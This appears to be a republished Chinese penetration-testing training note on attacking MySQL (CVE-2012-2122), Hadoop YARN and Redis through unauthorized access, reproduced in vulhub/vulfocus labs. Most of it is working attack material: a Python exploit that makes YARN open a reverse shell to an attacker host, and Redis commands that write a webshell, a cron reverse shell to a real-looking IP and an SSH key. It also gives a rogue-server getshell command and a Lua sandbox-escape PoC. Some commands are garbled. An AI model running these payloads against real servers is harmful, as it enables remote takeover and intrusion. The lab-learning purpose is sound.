网络安全全栈培训笔记(55-服务攻防-数据库安全RedisHadoopMysqla未授权访问RCE)

本文主要是介绍网络安全全栈培训笔记(55-服务攻防-数据库安全RedisHadoopMysqla未授权访问RCE),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第54天 服务攻防-数据库安全&Redis&Hadoop&Mysqla&未授权访问&RCE

知识点:

1、服务攻防数据库类型安全
2、Redis&Hadoop&Mysql安全
3、Mysql-CVE-2012-2122漏洞
4、Hadoop-配置不当未授权三重奏&RCE漏洞
3、Redis-配置不当未授权三重奏&RCE两漏洞

#章节内容:
常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制特定安全漏洞
3、安全机制弱口令爆破攻击

#前置知识:
应用服务安全测试流程:见图
组合猜测(由于nat会导致端口扫描不到真实端口信息)、信息来源(报错、特征)
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属数据库&文件传翰&通讯等
3、判断服务利用方式特定漏洞&未授权&弱口令等
在这里插入图片描述

演示案例:

Mysq-未授权访问-CVE-2012-2122利用
Hadoop-.未授权访问-内置配合命令执行RCE
Redis-未授权访问-Webshelle&任务&密匙&RCE等

Mysq-未授权访问-CVE-2012-2122利用
复现环境:vulhub
在这里插入图片描述

for i in `seq 1 1000`; do mysql -uroot -pwrong -h you-ip -P3306 ; done 

在这里插入图片描述

漏洞复现:

1、vulhub开启漏洞环境
在这里插入图片描述
2、攻击机:kali扫描目标端口并验证
在这里插入图片描述
在这里插入图片描述

Hadoop-未授权访问-内置配合命令执行RCE
复现环境:vulfocus
思路:访问特定

#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)

漏洞复现:
1、vulhub搭建hadoop漏洞环境
在这里插入图片描述
2、攻击机kali开启nc监听端口,使用exp攻击反弹shell
在这里插入图片描述
#Redis-未授权访问-Webshell&任务&密匙&RCE等
1、写Webshell需得到Web路径
利用条件:Web目录权限可读写
config set dir /tmp
#设置WEB写入目录
config set dbfilename1.php设置写入文件名
set test"c?php phpinfo):?>"#设置写入文件代码
bgsave
#保存执行
save
#保存执行
注意:部分没目录权限读写权限

2、写定时任务反单shell
利用条件:
允许异地登录
安全模式protected-mode处于关闭状态
config set dir /var/spool/cron
set yy “ninin*****bash->&/dev/tcp/47.94.236.117/55550>&1nnn”
config set dbfilename x
save
注意:
centos会忽略乱码去执行格式正确的任务计划
而ubuntu并不会忽略这些乱L码,所以导致命令执行失败

3、写入Linux ssh-key公钥
利用条件:
允许异地登录
Redis服务使用ROOT账号启动
安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
ssh-keygen-t rsa
cd /root/.ssh/
(echo -e “nin”;cat id_rsa.pub;echo-e"nin")>key.txt
cat key.txt redis-cli-h 118.31.57.214 -x set xxx
config set dir /root/.ssh/
config set dbfilename authorized keys
save
cd /root/.ssh/
ssh -i id rsa root@118.31.57.214

4、RCE自动化利用脚本-vulfocus
https://github.com/vulhub/redis-rogue-getshell
python redis-.master…py-f123.58.236.76-p9830-L47.94.236.117-P8888-f
RedisModulesSDK/exp.so -c “id”

5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus
Poc:执行id命令
eval 'local io_I package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”,“luaopen_io”);
local io io_I();local f=io.popen(“id”,“r”);local res f.read(“a”);f:close();return res’o
参考链接:https://blog.csdn.net/qq_40882763/article/details/129742604?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-129742604-blog-130589818.235%5Ev40%5Epc_relevant_3m_sort_dl_base1&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-129742604-blog-130589818.235%5Ev40%5Epc_relevant_3m_sort_dl_base1&utm_relevant_index=5
老哥写的很详细,后期我也会逐个复现

这篇关于网络安全全栈培训笔记(55-服务攻防-数据库安全RedisHadoopMysqla未授权访问RCE)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/633888

相关文章

Spring Boot 与微服务入门实战详细总结

《SpringBoot与微服务入门实战详细总结》本文讲解SpringBoot框架的核心特性如快速构建、自动配置、零XML与微服务架构的定义、演进及优缺点,涵盖开发环境准备和HelloWorld实战... 目录一、Spring Boot 核心概述二、微服务架构详解1. 微服务的定义与演进2. 微服务的优缺点三

WinForm跨线程访问UI及UI卡死的解决方案

《WinForm跨线程访问UI及UI卡死的解决方案》在WinForm开发过程中,跨线程访问UI控件和界面卡死是常见的技术难题,由于Windows窗体应用程序的UI控件默认只能在主线程(UI线程)上操作... 目录前言正文案例1:直接线程操作(无UI访问)案例2:BeginInvoke访问UI(错误用法)案例

RabbitMQ消息总线方式刷新配置服务全过程

《RabbitMQ消息总线方式刷新配置服务全过程》SpringCloudBus通过消息总线与MQ实现微服务配置统一刷新,结合GitWebhooks自动触发更新,避免手动重启,提升效率与可靠性,适用于配... 目录前言介绍环境准备代码示例测试验证总结前言介绍在微服务架构中,为了更方便的向微服务实例广播消息,

关于DNS域名解析服务

《关于DNS域名解析服务》:本文主要介绍关于DNS域名解析服务,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录DNS系统的作用及类型DNS使用的协议及端口号DNS系统的分布式数据结构DNS的分布式互联网解析库域名体系结构两种查询方式DNS服务器类型统计构建DNS域

Linux中SSH服务配置的全面指南

《Linux中SSH服务配置的全面指南》作为网络安全工程师,SSH(SecureShell)服务的安全配置是我们日常工作中不可忽视的重要环节,本文将从基础配置到高级安全加固,全面解析SSH服务的各项参... 目录概述基础配置详解端口与监听设置主机密钥配置认证机制强化禁用密码认证禁止root直接登录实现双因素

MySQL中的InnoDB单表访问过程

《MySQL中的InnoDB单表访问过程》:本文主要介绍MySQL中的InnoDB单表访问过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、环境3、访问类型【1】const【2】ref【3】ref_or_null【4】range【5】index【6】

java向微信服务号发送消息的完整步骤实例

《java向微信服务号发送消息的完整步骤实例》:本文主要介绍java向微信服务号发送消息的相关资料,包括申请测试号获取appID/appsecret、关注公众号获取openID、配置消息模板及代码... 目录步骤1. 申请测试系统2. 公众号账号信息3. 关注测试号二维码4. 消息模板接口5. Java测试

前端如何通过nginx访问本地端口

《前端如何通过nginx访问本地端口》:本文主要介绍前端如何通过nginx访问本地端口的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、nginx安装1、下载(1)下载地址(2)系统选择(3)版本选择2、安装部署(1)解压(2)配置文件修改(3)启动(4)

MySQL 用户创建与授权最佳实践

《MySQL用户创建与授权最佳实践》在MySQL中,用户管理和权限控制是数据库安全的重要组成部分,下面详细介绍如何在MySQL中创建用户并授予适当的权限,感兴趣的朋友跟随小编一起看看吧... 目录mysql 用户创建与授权详解一、MySQL用户管理基础1. 用户账户组成2. 查看现有用户二、创建用户1. 基

SpringBoot服务获取Pod当前IP的两种方案

《SpringBoot服务获取Pod当前IP的两种方案》在Kubernetes集群中,SpringBoot服务获取Pod当前IP的方案主要有两种,通过环境变量注入或通过Java代码动态获取网络接口IP... 目录方案一:通过 Kubernetes Downward API 注入环境变量原理步骤方案二:通过